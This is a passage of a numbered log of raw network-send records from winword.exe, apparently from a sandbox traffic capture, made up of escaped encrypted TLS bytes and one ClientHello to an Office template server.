  510. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010<k\\x95\\x11\\xcc\\xae6\\xd8\\x1f|obm\\x07\\xb3\\x86+;\\xa1\\x14\\x89;\\xc6d8\\xe1\\xbd_a=\\xb4\\x13\\xb51\nt`g\\xa9wzcj\\x8c\\xbac^f\\xd7\\x93)\\x7f-\\x1dws\\xe88\tz\\xab\\xbc\\xa5\\x82\\x1a\\x11bp,\\x0c\\x96\\x16\\xc6\\xc2\\xacf\\xdd2\\x1e\\xc2\\x1e\\xcev\\x7f\\r`$\n\\xb0\\xa4\\xf6\\xcb\\x08b^\\x85\\x9c%\\xcfb\\xa1l\\xf9\\xd6&\\x03\\xa1\\xe0\\x8e\\xc4\\x15\\x84\\x1c\\x8e6@:\\xbb\\x91\\x0c\\xd2\\xbf\\x8a_v\\xb7\\x0e+\\xeek\\xde\\x04\\xc4\\x91:\\xa6\\x1e1\\x9am\\xf36\\x82\\xb4\\xf4\\xe9\\x1an\\x84\\xd8<\\xae\n\\xd1\\x9a\\xcc\\x0e\\xc2\\x07\\x99\\xba\\x93\\x1f\\xce\\x97\\xe7s$\\xd8_\\x12/ro\\xe7m\\xf1\\xc9vdj\\x04\\xe8~o\\x9a\\x00\\xf5r/b,\\xa6\\x15\\xb0\\xd5x<\\x96_\\x18\\x85\\x1a\\xd9\\\\xd8\\x9d\\xa3\\xab\\x1fl\\xc6\\xaf\\x92\\xd6x\\xe1\\x1e\\xd0q\\x06cs\\x16\\x1f\\xa8\\x89\\x9b\\x00`d\\xa0\\xca\\x1b2\\xc0\\x9d\\xe1\\xe8%\\xa0a\\x02\ntpg"
  511.  
  512.  
  513. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa9-\\x96\\x1a\\xa2v\\xfczn\\x9fw\\x83\\x94^\\xe3fa&\\xb4\\xd9\\xf7\\xf0\\xfa\\x8bp\\x06a\\x88\\xd8\\xbb\\xfe\\xdd\\x13\\xab\\x0e\\xcbw\\x93r\\xdck\\x00\\x1f\\xb1fg\\x1e\\xee\\xc3\\xc5(\\x86m.\\xd0\\xcf \\x80\\x9e\\x90\\xe9\\xdc\\xf5\\xe0\\xdf\\xce\\xc7\\xc9\\x13\\x93\\xc1\\x1c\\xd8\\xa7\\xe7\\xd8q\\x1d,\\xe1p\\xd5\\x8d\\xc0\\xb8`r\\xd3\\x8c\\xcf\\x90\\x0e\\xdc\\x07\\xe31\\x93r?e#\\xdf\\xed\r \\xce\\x90\\x9e\\x98\\xc4\\x14\\xc0\\xf4\\xd0\\xf0*\\xb2l!\\xf9#`\\x89\\x8a\\x92\\x1a\\xf9\t\\xadd!'\\xfc&\\xbf\\xe5z\\xf4*\\xc8\\xb5uu\\xc2\\x99\\xbafib%\\x9a@\\xf4\\xd0\\xc1!\\x029\\x14.%\\x92\\x08\\xd7\\x8a?\\xc6h\\xb4\\x17#\\x9b:h\\x88\\x13\\x82w\\xf2sd*\\xbf\\x1a\\xb8\\xe3i^\\xa8^@\\xa0%\\x19\\x11\\x112\\xc2\\xd5\\xbf`\\xa1\\xfbs<\\x94\\x90\\xdd\\x19\\xb6\\x85_\\xec\\x9e\\xd3\\xbaj\\xf2w\\x93q\\xd5\\xb3\\xb7\\xf6f5\\x91\\xfa\\x92ttke\\x1d\\xbe\\xc72\r\\xba?7\\xdd"
  514.  
  515.  
  516. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x85\\x03(\r\\x8f\\x83\\xf2f\\xd57\\x9c\\xbb4\\x82\\xa9\\x1e\\x08\\x9a\\xb4\\xe6\\xe0\\x9e\\x8f\\xf1\\x07\\x11\\x88c b$\\xb8@\\xb1\\x1c\\xbc'\\x92^~\\xe4\\xb3\\;\\xa9\\\\xc1\\x92\\xb7\\x13\\x8c\\xe3\\x94\\xb3$\\xdc\\xdal\\xcf\\xe0\\xf0g\\xa3\\x06>\ra\\x05\\xea\\x07\\xef\\x88\\xfe!o2\\xa5\\x87\\xe4\\x0b\\x98hf\\xd3\\x11r\\xa9\\xf2\\xb5/\\xe3\\xdc\\x8c%\\xed\\xc9\\xb0\\xb58\\x98g\\xd3\\xf8\\xb4\\xc5ka\\x7f\\xd8.8\\xed\\xe8\\x8f\\xa0\\xe3\\x9f\\x02\\xa7\\x92\\xc7\\xda\\x0c\\xdf\\xaf\\x8f\\xf3r\\xa6i\\xcbb\\x11\\xd7\\xb6\\xa4tc\\xdb\\xa3\\xa7\\x96\\xb3(\\xf3\\xfe\\xbfpgsi\\xae\\xb2\"\\xf5\\x12e\\xf3\\xb7\\x97\\x9d\\x94\\xd6\\x98\\xd2\\xb6ew\\xdci\\x8b\\xe8\\x02\\x10\\x18\\x06\\xb5\\xaa%4\\x17v\\xe99qdu\\xf7\\x88\\xfa\\x9b\\xddmj\\x9d\\x1d\\x9a\\xa6\\xf3\\xa8\\x8e _\\x1d^\\x1a\\x93d^\\xedr\\xd4c\\xd4\\x1e\\xf4\\x9e\\x90z7\\x9f\\xab\\x96\\xdf?+\\xb8'\\x1df\\x00\\xa4b\\xbf/t\\xe1ln\\xef\\xf6\\xb5\\xc3\\x84\\x04\\xd8\\x15\\x8dy\\x8c"
  517.  
  518.  
  519. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x0107\\xa4\\xbdj\\xc1\\x81\\xe3\\x84\\xc04s-\\xc7\\xf6\\xf4\\xb7\\xe6c\\x92\\xf7\\xe4\\xfda\\xe3o\\xdd\\xbbi\\x84\\xd3\\xd2\\xb46\\x06%\\x01\\xd1b\\xb8\\xcd\\xf3rmc\\xd4\\xd7\\x8ca\\xd6;\\x0bhbg\\x92\\xc0h\\x9f\\x02et8\\xc1\\x07\\xc00\\xaf\\x1d\\xbe\\xc7\"o\n\"-\\x82\\xa2\\xd8m\"\\xaa\\xd2\\xe3k<\\xe9<\\xf5\\xfe\\xb5\\x0cw\\xb9\\xfc\\xc3u\\x8fq\\x7f2\\xf5\\x87r9s3w\\xce#\\xee\\xf6k\\xeeza\\xb6\\xc47\\xb4\\xee\\x1d\\xb9|^\\x08\\x95\\xf3ay\\x13s\\x1cv\\x15\\xb8\n\\x9f\\x0c~\\xb5\\xf8\\xcc\\x17\\x1d\\xbe\\xf4\\xf3tr\\xec\\xbb@\\x1b\\x18.\\x13\\xbb\\xc1\\xbe\\x9e8\\xfa\\xcd\\xf03p\\xce\\xd4\\x7f\\x91\\x88\\x16\\x7f\\xb6\\x81n\\x9e:\\x1bi\\xf4\\xf5\\xe3\\x93p\r+\\xb7!\\xf0\\xab,\\xb9f\\xc79w6\\xdc8\\xc77z-\\xad\\x8e\\xe3\\x87\\xc4\\x82\\xcfm,\\xa7\\xef\\x80z;\\x9a\\xf9u\\x0ecf\\xd4\\x81\\xc9qj0 \\x0e\\xe9\n\\x90\\xe1\\xb4gnw0\\xe7h\\x13\\x1e\\xcc\\x06"
  520.  
  521.  
  522. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x8c\\xc9\\xd0\\xc9r\\x92%\\xba\\xf2gpj?a\\x1b8\\xbc\\xef\\xdb\\xb6\\xd4`w\\x97\\xbc\\x95!/\\x1e\\xf9\\xac\\x7f\\x91\\x0b\\xc7\\x0f7\\x1f\\x87\\xb1\\x92\\xdf\\x0b8\\xb0.\\x08\\xad\\xd7\\xaeb\\x0f\\x14\\xea\\xe1\\xd3v\\x1a\\xdb\\xd1\\xf1\\xfbs\\x87\n\\xdcw\\x8en;\\xab.\\xda\\x99\\xd0\\x1e\\xcap\\xc2y\\xf8\\x06\\xda\\xe3d\\xe3\\x03\\x00c\n4\\xb8>\\xeb\\x91\\xf9\\xe8\\xf8\\xd8\\xa4\\x9e\\x1di\n2o\\x0b6y\\x9e=\\x92a\\x03\\xd5a\\xa5\\xe7ma\\xf5\\xe9`\\xc4\\x884\\xb9\\x83\\xff\\x07t\\xe4\\x00\\xdc>w \\\\xae\\x84\\x98\\xa28g^-\\xdd\\x83\\x8e\\xe2\\x1f\\x85.\\xe93\\xa1\\xdc\\x9c\\x1am\\xe3\\x10~\\xe8\\xccer\\xdef?\\xa0\\x84\\xaa\\x17\\xadi\\x1ei\\xc7\\xf1w\\xa7\\xff~\\x1cq\"\"hi\\xe6\\x92\\x9b2\\x87\\xa3\\xde\\xef\r\\xf5\\x8a|r\\xc1s8\\xef\\xbe\\x13\\_\\xf6\\x17\\x1c\\xaa\\xeb\\xe6|g\\x13\\x83\\x85\\xc2\\xca\\xa4m\\x9b\\x16\\xed\\xfa\\xaf\\xd7\\x0c\\x16\\x1e\\x12\\x99v\\xdb\\x94u\\x06\\xc2\\x07&"
  523.  
  524.  
  525. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010w\\x8e\\x866)\\x17m\\x04ug\\x9a\\x1c$\\x98\\xc3b\\xf4\\xe2t~\\xed\\xdb\\x8ei>\\xfa%c\\xfd\\x19\\x90x\\xc5ee\\x1b\\x86bdxe\\xbc\\xfa\\xb0\\xfa\\xa9b\\xe1\\xa3e\\x13\\xd6\\xfc\\x1e\\x8a\\x18\\xe1f\\xae3\\xfd\\x7f\\xcd\\xc4\\*\\x95\\x01\\x9b\\xcb\\x90ux1po\\\\x89?\\x18\\xeb#b\\xe8,\\x8c|(cj\\xdb9\\x08\\xe5\\x80#\\xfbs\\xc4j\\x97\\xb8g\\xab%y\\xb2\\xe5\\xbb\\xa9x\\x82\\xe9d\\x98cb\\x19\\xc4\\x7f>d\\xa1a\\xbb\\xba+kd\\xed\\x1b_\\xa8\\xa7~1\\xddg9\\x86!.\\x0c\\xefu\\xf1\\xe2\\x82\\x1fl\"\\xaa\\xec\\x13\\xc7\\x9eg\\x07\\x9c7.t\\x06\\xc9\\xb5\\xe8-t\\x89\\x98\\xcf\\xb7\\xee.\\xfc\\xa05\\xdf\\xeb\\x06\\xfb;\\x18m\\xb4i\\xf8,\\xa6j\\x84^\\xad\\x9f\\x9d\\xf3\\xd3\\xe6p-\\xe0pf\\xf4j=1\\x10\n\\x02\\xc8\\xe1c\\x106jz\\xe7\\x838o\\xb54\\x8ef\\x9d\\x17\\x7fk?\r\\xbd\\x97o\\xf0\\x1e\\x8f4\\xc5\\x81\\x1f\\xeb\\x14\\xbe\r&q"
  526.  
  527.  
  528. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb3gmo\\\\xbb\\x8a\\xdd\\xcf1\\xb5zn\\xe4\\x87\\xf8\\xcb\\xae\\xbc\\xe7\\xe0\\xbck\\xe9\\xd7\\x8e\\xf8\\x14a\\xfb\\xcd\\xcb\\xb89d>\\xe1\\x13\\xb6\\xd7\\xe3\\xaa\\xdc\\x053\\x85uk\\x02=b;\\x96j\\xd0\\xa6\\xf1\\xd3a|\\xe2\\x12\\xb0_\\xdc/q\\xad\\x0fv\\xae\\xf2r\\xc8&\\xc6\\x87\\xb6\\xbd\\x98\\x18w\\xe1\\xbfuf\\xbc\\xe0(\\x01\\xef\\xc8t8-p\\xfa\\x06h\\xc0\r#\\xf8,7\\xc3\\xde_\\xa8\\xd0%v\\xc2y\\xe9\\x88\\xc4\"\\x9a\\xe2\\xfb\\xb0\\x93\\xdd :\\xd52i>\"!\\x8c\\xd6d\\xd2x\\xfb5\\xa4\\xa9|y\\x81\\x9a\\x96\\xfec\\xe1\r\\xb4\\xa5\\xca\\xf7n\\x8d\\x15\\xcer\\xe0\\xaf\\x1f\\xbc\\xff\\xa7\\xc6'\\xa0\\xcb\\x87\\x14\\xef\\xb8,\\xaer\\xd2k\\xf2\\x89\\x01q)6\\xe4\\xf3y\\xc1\\xa4\\xc5\\x1d\\xa5\\xa9\\x13\\xe2\\xf8\\xec\\x86\\xb3\\x91u0\r\\xe2qf\\xe9hl\r*\\xe1\\x98\\x80\\xd3w\\xc8\\x93x\\xf0\\xaaa\\xd6j\\x0f@\\xbc\\xff\\xf4\\xaa*a&*h\\xe2cv\\xf2\\xd0\\xbc\\xb4\\x8a\\xff\\xe9v"
  529.  
  530.  
  531. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010!\\xc4\\xdd\\xfd\\xde\\xa4\\x1b\\xd9y8b^/\\xcb\\xc3)q'\\xa4\\x95\\x07&\\xb8\\x14o\\x9b\\xf6\\xb9\\xe2\\xbf^\\xe1\\x96\n\\xd4\\x08\\xd12h\\xd1y\\xfb\\xee&'w\\xbb\\xde\\xff\\xe2a\\x05\\xdc\\xe1\\x0f\\xb0\\x17&9l\\x9a\\xdd\\xfffe\\xb6\\x18=\\xf3\\x92*oe\\x139\\xfa\\x94\\x92lr\\xb6a\\x1a\\xdc&\\x1dxd\n\\xe5\\x93\"z\\x06v8\\xbe+\\xb9\\x8c\n\\x80\\x90\\x7f\\xa4\\xdf\\xae\\x14\\xe1\\xd8\\x13z\\x0b\\x85\\xbe\\xe1\\x02\\xd9tk\\xd35h=\\xb7\\xe8\\x13\\x88\\xcbu\\xb0\\x9b\\xd3\\x81\\x91\\xa5\\x05\\xa2\\xe4\\xd2xd\\xb0x\\xac\\xf8^\\x19\\x17\\x92\\xcb\\xc7\\xab\\x81*\\xf9l\\x85\\xf3\\xe4|v\\x08l\\x189g\\x1d%tqao\t\\xf4\\x97l\\xe39\\x17i\\\\xea\\xc0g9n99+=\\xde\\h\\x05\\xeb\\xefly8l^f\\xda9bo\\xe5\\xdc%\\\\x91iwcv4d\\xc2\\xe5\\\\xb10b^g\\xb1\\x15\\x9d\\xc8\\xb7v\\xe9\\x061ob\n6\\xaf-0\\x14\\xf9\\x9d\\xc9"
  532.  
  533.  
  534. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xdfiw\\x00/\\xbd\\xad\\xf4\\xd9\\x9ebd\\x8a\\x91u#\\xfft\\xb5\\xda(\\xb2e\\xab\\xd5\\x85\\xa5\\xf3\\\\xeb \\xfa\\xcd\\x1a\\xc5\\xa7,_$\\x1d\\x8el\\x02!\\x93\\xf0j-`\\x8d\\xb8\\x99\\x8d\\xd1\\xff\\x13m-\\xe6\\x8a\\x14\\xae\\x9a\\xbb\\xdew\\xb8\\xc0p\r\\xaf:y\r\\xd9|\\xbb \\xb3\\x9f\\xe9\\x8da\\xa5ty\\xb2\\x13\\xc1\\xe0\\x14\\xc0\\x19\\xe1\\xaf\\x1f\\xcb\\x8e\\xc3b\\xd9\\x91\\x84+h;\\x1b\\xb5\\xd5<\\xad\\x03\\xd0\\x1a\\xc7\\xbb\\xbe\\x176>\\x81\\xf0\\xc3\\xc7\\x8c|\\x99\\xa9\\xe2\\x8bi\\x85\\xc2\\x9e\\x9a\\x01\\xcex\\x96h\\x9a)\\xec#\\x97\\x84\\xe2q\\xa2\\xc7\\xff\\x05rb\\xe1\\x07+<\\xe5\\x8e\\xc5\\xe6\\x07n\\xefm\\x82j\\xa0^\\xa6r\\xef\\xd3ji'\\xdff\\x9f\\xe7\\x10\\xb0+c\\xea\\xc8\\x93\\xc4\\xff\\xf2\\x9e\\xdb\\xbd\\x13n\\xb8\\xb3\\xcb\\x8c\\xbd6\\xf2\\xd5|\\xdb\\xf0\\x8bm\\xf2\\xd3\\x9e\\x0b\\x93\\xd7u\n1e:\\xe1\\xfe\\xb9\\xbfq\\xd3/7(!\\xf4\\x1bsm\\x9e\\x9d\\x1a+\\xc3\\xd0q\\x7fx'\\xa5a\\xbeq"
  535.  
  536.  
  537. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01r\\x96\\x97.\\xdfj\\xce\\xac\\xec\\xd9:m\\xa7lg\\xb2\\xba\\x8d\\xdd\\x13:n\\xfa\\xd8r\\x8a\\x97*\\x08j\\xa1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  538.  
  539.  
  540. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x88\\x0e'\\xe3azqmif\\xfa\\xfb^*\\xe6\\xa9\\xad\\x06\\xb8a\\x9d\\xb4\\x9cc\\xa1|\\xa5\\xfe\\x81$\\xf4\\x0e\\x07\\xe2\\x8e\\xfa7\\x8c\\x00\\x0c\\x93\\x18@\\xa3*\\xe4\\xa6\\xc9\\x12\\x9a\\xf8p\\xcb\\xb1\\x85\\x04/\\x18\\xe2\\xc9\\x91\\xaf\\xecu\\x81\\xc2\"_\\xd3\\xb1\\xc9\\xb8k(\\x84\\x86b\\xeb:\\xef\\xc2\\xa9\\x03\\xfb\\xefdfi\\x0f\\xef\\xfb\\xa0a\\xfe#\\xfdr\\xebj\\xa7\\xc3\\xb5d3m\\xb2,\\x17\\xfdj\\xdf\\xfey\\x87\\\\x8d\\xde\\xc4sa\\xca\\x14if\\xdf\\xd8ag\\\\x16\\xfahv\\xbe\\xc1:\\xd0\\x92\\xf8`\\xceq\t5\\x80\\xff>\\xb0\\xf5\\xe8f\\xf7r4$\\xd9\\x98\\x14\\xcbhos\t\\xa69\\xc0\\x17\\xcfg\\xee\\xc4\\xb4\\xba\\x1a\\xfa\\xcf\\xce\\x9736\\xe3\\x8c\\xe3\\xc4'\\x96\\xc3\\xa8\\x08\\xdc\\x1b\r)\\xe4\r\\x80\\xa1\\xdf\\xd35!c\t\\x95\\xfdw7y>\\xd6\\xe4\\x1b\\xc6q\\xf3\\x93\\xafk\\x9f9\\xf9\\x10\\x0co\\x18d\\x98h\\xa9\\x8b\\xe6)\\x99\\x85\\xe8r\\x82g_\\xfe\\xaf\\xc34\\x85\\x97"
  541.  
  542.  
  543. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa8\\xce\\xdb\\x86\\xdd\\xfal\\x05\\xbed\\x8a\\x8a\\x9d\\xf5t\\xa9\\xe0\\xb6\\x8e\\x95\\x06\\x04q\\xa6\\xf4\\x8e\\x96\\xe0\\x1d\\x1d\\xef\\x03,\\x94\\xac\\x85o$3s\\x93\\xac\\xf5\\xae\\xbd\\xb2\\x19&\\xc2\\xf8\\x14+\\xa0\\xb7l\\x1dd\\x85\\xcfd\\x07.\\xdf\\x04\\x86\\xde\\x06$v\\xa9)b,\\x11qf)b&\\x19-\\xdf\rn\\x96\\x1c\\xb6\\x88r\\xdc\\x06\\x184\\xa0b\\xb7)n\\x1d\\xa5\\xd1\\xc48\\x11\\x02\\xa6\\xf9\\xf0ha.\\xd4\\x00_\\x91-\\x1068\\x19:$\\xf1g\\x14v\\xea\\x0b\\xeae\\xc9\\xfc\\xeb\\xa6\\x1e\\xdc\\x804\\x9f.!\\xf9\\x08z\\xe3\\x8bni\\xf8'\\x01\\xd9r\\xd6\\xaa\\xd3\\xeceo\\xdd\\xbc\\xd5\\xda\\x80\\x96\\xa5\\x9b8i\\xb1\\xd8\n\\x8f\\x13\\x02\\xbdl>\\xbcr\\xdf\\x08wu\\xed\\xc0\\x9b!\\xf6\\xd2\\xa7k\\xaa\\xb8/sg=\\xde/\\xb4\\x91\\x8e\\x86\\xa4\\x04\\xde\\xf6\\x04g\\x19\"\\x8ehr\\xa5\\xb5\\xa1\\xb8\\x07\\xaa\\x88y*k\\xb4e\t/\\x11\\xe6x\\xd9\\x19\\x1b\\x9d\\xe0\\xc8\\x00\\x0e\\x05\\xf5\\x17\\xf0*\\xe2c\\xb0\\x83"
  544.  
  545.  
  546. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010i\\xda\\x17\\xc3n\\xa3r.\\xffi\\x7f\\\\xffm\\xdb\\xa7e\\x83c\\xe0\\x08\\xd4\\x9f\\xf1:\t0k\\x9eb\\x80:\\xf5\\xb0\\x145@\\xc2\\x0b\\xb8\\x848\\xf8\\xc4\\xa9\\x7f\\xc3\\xda\\xa6\\xd8\\xa0e;\\xbf#n\\x82\\x06\\x18\\x02l\\xa9\\xf7\\x1b\\xe3h\\xe1<4\\xb9s\\xaa\\xbb\\xa7\\xa3\\x91\\x8be\\x8el\\x91\\x85y_r\\xa0j;\\x9ckg\\xff\\xf3\\xeb\\x84q\\xd9\\xab\\x99>\\xe4\\xac\\x12\\xcdz\\xa1\\xc7;\"\\x95\\xdd\\xdc\\x83o\\x9d%\\x99\\xab\\x8f\\x04\\x95\\xa3\\xd9t\\xb5\\xf3;\\xe5u\\x1b\\x0c\\x81p\\x9b\\xf9\\xb6\\xa3\\x80\\xd6u\\x0f\\xbeg4n\\xa5,\\xf5\\xa5v\\xe4\\xf4zd\\xfc\\xcb\\x17\\xfe\\x95\\x84g\\xa1\\x8eeb1:\\xc9\\x8bc-\\xcf\\x1f\\xa3\\x041a~vu\\x1ec\\xd6\\xdc\\x8c\\x01\\xa0\\x84\\xd6\\xe6\\xf63\\xdb\\xc6j\\x82c\\xf7\\xb6\\xe3\\xa1\\xdai\\x0437\\x0c\\x98\\xf7\\xac\\xb7\\x8de#\\xc8\\xf41\\x8f\\x87\\x00\\xa2\\x84\\x83\\xa4\\x9b:\\xff\"\\xca\\xa3o\\xd0\\x94\\xee\\x86\\x08h\\x19\\xa3\\xa1\\x95\\xba\\x91\\xa95"
  547.  
  548.  
  549. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0c\\xdc\\xa3l,w\\x1d\\xcc\\xf7:\\xcb@\\xe4\\x91u\\xdd\\xfew\\xffb_\\xa0g?n\\x94\\xb3|ka\\xb5u\\x9f\\xf7m\\x95\\xa6\\xa6\\xa9\\xdce^\\xc1\\x192r\\x0b\\xa0\\xae\\x94\\x89\\xf2\\xe1\\xb7\\xc64x!\\xb9\\xd8m\\x85\\xfa\\xdb\\x18q\\x87\\xf32\\xb0\\xd8k\\x1a&a\\x90\\xa1\\xc5$\\xf8\\x1c\\xf7\\xe35\\x9f$\\x051\\xe5s\\xe8\\xda\\x08\\x99^\\x1cu\\x9e\\xc9\\xf8\\x9e.\\x1fz\\x87\\x17\\xc9\\xk\\x0b\\xe5\\xc9\\xedy\\xa8\\xbe\\xa1\\xeb\\xe7\\x1e\\xc9j\\x08\\xd4\\xf2;\\xf6\\x13\\xbd\\xbe\\xdf\\x10\\xcevx\\xb1l\\xcbt\\xb8\\xc3im\\xb8f\\x14\\xe6e(\\xad\\x85\\xe8\\xc1\\xd3\\xa2\\xe7\\x84h\\x03\\xde\\xcd\\xd7\\x8e\\xb9\\xabj\\xd2aqa\r\\xd2\\xa5\\x17e\\xc8\\xbfs\\xd7\\x1a\\xbb\\xbd\\xed\\xb8\\xa5\\xd0\\xea\\x97kk4x\\x84\\x8a\\x9dt\\x16\\x19\\xf1\\x96q\\xfb\\xd9w\\x03\\x12\\x88\\xdc\\xe4s\\x10\\xce\\xdb\\xbd\\x87\\x95b\\x13x\\xd2<,a4\\x16\\xbb\\xc8%\\xe5\\xb8\\xeb\\xaff\\xb0\\xe6kb\\x8b1\\xf6sdf\\xa3\\xe2\\xb3\\xfbs"
  550.  
  551.  
  552. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc0\\xb6^\\x95\\x1dp\\xfc!\\x92\\x0f\r(\\x8c\\x06\\xdbt\\xee\\xa7\\x01\\xc1\\x1d\\xd4x\\xbb\\xbbf/\\xa39\\xdc\\xba\\xcfv\\xe2\\xfd\\x98\\xf6\\xfe\\x17\\x9bx\\x0cp\\xa0\\x05m\\xaf\\xc9\"s<k\\xa6'\\x8b7\\xaf\\x0f\\xdaf\\xb8yi\\xc1\\xe64w\\xea'\\xaa\\xf8\\x94\\xe9k\\x13\\x08\\xb6\\xc7\\x86<\\xf6\\xb1d\\xe2+iy\\xde_\\xdf\\x95+\\xd6\\xde\\x0b\\x98czo\t\\x01\r\\x93\\x16\\xca\\xc89fih\\xb7\\xaf\\xf4\n\\xd4\\xff\\x81\\x9c\\xa6\\xd1\\x846\\xec/\\xf8\\xcd\\xa3o\\$<\\xa4\\xf9\\xe0;te\\xf2\\xad\\xec\\xcf\\x0b\\x90\\xa4l\"b\n\\x1f\\x01r\\xae\\xb8sb\\xff$\\x9fd\\x8d\\xe5>\\x0c\\xfe\\x16\\x11\\xd8\\xa0iuc\\x0f\\x17l\\xee\\x13\\xb6\\x17\\xcb\\x91\\x99\\xffg\\xef\\x8a\\xab\\x02ig\\xb9\\xe6\\x8b2\\xc9\\x01\\xe3\\x0fx%\\xeb\\x97\\xce\\xe2;97c\\xe0\\x90\\xf8\\x8be\\xdf\\xc5\\xf5\\x80~\\xea5\\x1c|\\xc9\\xc5l^\\x07\\x7f\\x89\\x80\\xb5\\xc0\\xaf\\xa3\\x8c\\xd9\\x12\\xa2\\x0c\\x8c+xq\\xe3_|'\\xcc"
  553.  
  554.  
  555. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0c\\xd9\\x97\\xeb\\xe6\\x86\\xc5\\xe8(\\xbd\\x0c\\x9bc \\xe0\\xc4|_\\xe3&'o=9\\x92\\\\x1f\\x80t9cd(\\x0c\\x0b\\x03\\xde\\xa8\\x98\\xa2\\xb4\\x9dw\\xe7@lh\\xc6\\x80\\x1c\\xce\\xd2\\xb0wt7\\x87\\xfbtiv~\\xcc\\xd59\\x97\\xf8l^\\x8a\\xfb\\xc6\\\\xeb?z\\x19\\x94\\xb0h\\x85\\xc4\\xd3\\xcaw\\xa3\\xb82+\\xd4d\\xb8\\xcd\\xbc|>\\xb8.\\xea\\xb1\\xe8\\x9f\\xa2\\xb2f\r\\xad\\xeb\\x9d\\x87y\\x98\\x00\\xba\\x19\\x95\\xef\\xd8!d\\xc7\\x04\\xf5\\xed3\\x03\\xef\\x0crk\\xc9e\\x95`k(\\xc2\\xe1\\xca\\xad\\x14o+\\x06v+\\xa9oz\\xf9\\xd5\\xe5\\x13\\xc8k\\xac\\xa6s9\\xf8\\x11dhu\\x0e;2\\x9e5\\xb2z@\nl\\x0cq\\xe2\\x11&z\\xc6-\\x95\\x8c\\x93\\x9e\\xef5\r\\xa43\\x1c5\\xaaq\\xfe\\xc8l?\\xc0\\xa8\\xd0\\xf7\\xe9\\x01\\xd5\\xc2\\xa5h\\xb2u\\xbf\\xbe\\xcfxe\\x16\\x16f\\xc6\\x8d\\x11\\xc6\\x8b*\\x91/\\xf6\\x8a=(\\xcas\\x8a\\\\xa5`\\x9b\\x9cv\\x00r\\xe2ap0\\xaf\\x11"
  556.  
  557.  
  558. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf0\\xb2\\xd85`ml\\xb4p'\\xc4j\\x90\\x07\\x83\\xa2\\xaf\\xcd\\x84k\\xb2gc\\x823@\\xc4\\xcd\\x00\\x93yr\\xbb\\xd0\\x80\\xf0\\xdf\\xd5\\x03 \\xc2\\xc7\\xc3\\xd0p\\x85\\xdc\\xe2\\xb2\\xa12\\xa3my\\xb6\\xcfw\\xcd\\x15p7\\xd7*a\\x82\\xb8*`\\xa8t\\xa4\\x8e\\x9e\\\\xad\\xb9\\x93\\xb9\\x19\\xf83s\\x7f~e'\\x0b\\xd3h~\\xb1\\x9et\\x92\\x1a\\xc0\\xfe\\x82\\xd8s\\xed\\x89\\x83\\x1f\\xf6\\xa2\\x7fh\\xe1y\\xf2\\xf4\\x0b\\xe5\\x9ef)\\xd9\\xcb@\\xbf^2\ri\\x85\\xc01\\x01\\xfa\\xd2\\x8b\\xef\\x02\\xfa\\xc7\\xc0\\x191\\xd1\\xd48\\xd5w\\xda\\xd8%\\x8eh\\xec\\x05fy\\\\xbf)\\x15\\xf2\\xea\\xd2\\x01i\\x11\\x0fv\\xdb\\x1e^^\\x92\\xae\\x98m\\x04l\"`\\x02+zl\\x1e\\xfc\\xf0\\xde\\xe9\\xfe\\xa1d\\xa16a\\xb5a\\xb6\\x9fk\\x00\\x870\\xbc`\\x86\\xdd\\x94\\x8ad\\xaf|\\xb5w\\x81\\xc7\\<\\xaf9\\x99\\xfd\\xe2\\xea\\x08\\xcbzueb\\x8a\\xb4\\xd7\\xfd\\xb8\\xf0\\x1f\\x9d)\\x9a;\\xe1\\xf6\\xa9\\xa8jwm\\xc1/="
  559.  
  560.  
  561. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf9\\xecm\"\\xc6'\\xd2b\\x95tmv\\xf6\\xff\\xb3$\\xfa\\x10\\xf3\\xd4\\xc4\\xe7\\xa0\\xbc\\xf8\"4$\\xbe\\xff\\xa5\\xbf\\x04\\xa4\\x01m\\xd3\\x01xhr\\x07\\x12\\xa0y\\xcf\\xde\\xd8.\\x88\\x16\\x8e\\xc3\\x92^z\\x05\\x04\\xc9\\xf9\\xd1\\xf4d\\x8b\\x19'\\xa2n\\x8f\\x85\\xf0\\x9ac&\\x91\\xc3\\xca(u\\xf1y\\xc2\\x9dya\\xc8\\xa5\\xa2b\\xd2\\x00\\xd66a\\xe7\\x15\\xe1o\\xe4\\x1ax\t\\x19\\xc1\\x1c\\x17\\xa2\\xb9\\xadq\\xd2bn\\xfe2\\xdb(\\xb0u\\x97\\xa5d\\x8f?\\xdc\\xce\\x13\\x96jukf\\xc3p\\xfe\\x90\\xc0#\\x94@\\xff\\x0c\\xad\\x94\\x8e\\xa8e\\x97i\\xca\\x9d9\\x06\\x82\\x9c\\x8cp\\x05\\x8f\\x85\\x8a\\xea\\xbf\\xf3+\\xbdv\\x1e\\x05\\x02i\\xc2\\xf6\\xf0\\x87\\xc8\\xee&\\xf1\\xcc0z\\xd2m\\x1e\\x08\\xa8\\xf8\\xd3\\x07\\xda\\x83\\xad\\xcd\\x0f\\x90\\xa1`gb\\x13\\xa2\\xa3\